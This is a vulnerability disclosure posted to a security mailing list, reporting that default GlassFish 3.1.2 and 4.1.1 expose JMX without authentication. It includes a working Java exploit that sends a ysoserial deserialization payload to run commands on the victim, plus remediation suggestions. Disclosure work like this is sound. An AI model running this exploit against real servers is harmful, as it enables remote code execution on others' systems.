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Hi Oracle, 

I Found about GlassFish 3.1.2. and GlassFish 4.1.1 Default environment  not have JMX authentication.

I download GlassFish 3.1.2 and GlassFish 4.1.1 in:

GlassFish 3.1.2 :https://download.oracle.com/glassfish/3.1.2/release/index.html
GlassFish 4.1.1:https://download.oracle.com/glassfish/4.1.1/release/index.html

Both applications run on Windows using JDK7.

I was started two virtual machine.

attack IP: 10.211.55.4

victim IP: 10.211.55.5

first unzip GlassFish 3.1.2 in victim and running...
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as we can see the GlassFish 3.1.2 startup finish. and The GlassFish 3.1.2 default open the JMX port 8686.

in default, JMX port 8686 is Unauthorized!

GlassFish 3.1.2 POC:
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The GlassFish 4.1.1 is same to GlassFish 3.1.2.

startup GlassFish Server  4.1.1.

Attack success!
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About JMXInvokeMBean code:

package com.r00t4dm;
import ysoserial.payloads.ObjectPayload;

import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import javax.naming.Context;
import java.util.Hashtable;

public class JMXInvokeMBean {

    public static void main(String[] args) throws Exception {
        String ip = "10.211.55.5";
        String port = "8686";
        String payload_type = "Jdk7u21";
        String cmd = "calc";

        Hashtable env = new Hashtable();
        String[]  credentials = new String[] {"admin", "adminadmin"};
//        env.put(JMXConnector.CREDENTIALS,credentials);

        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + ip + ":" + port + "/jmxrmi");

        JMXConnector jmxConnector = JMXConnectorFactory.connect(url,env);
        MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

        // create the payload
        Object payloadObject = ObjectPayload.Utils.makePayloadObject(payload_type, cmd);
        ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
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        mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new
String[]{String.class.getCanonicalName()});

        //close the connection
        jmxConnector.close();
    }

}

Final, I have Two Suggestions:

1. I promise I Download GlassFish Server from the official website. But Why GlassFish Server default

not initialized Password. I think When GlassFish startup, You can initialized default Password in Server,
and Save the password as a file in the application directory.

2. Of course you Don't Need To initialized Password in Server, But I think You can disable JMX protocol in
default.

Thanks,

r00t4dm.

_______________________________________________
security mailing list
security@eclipse.org
To change your delivery options, retrieve your password, or unsubscribe from this list, visit
https://www.eclipse.org/mailman/listinfo/security
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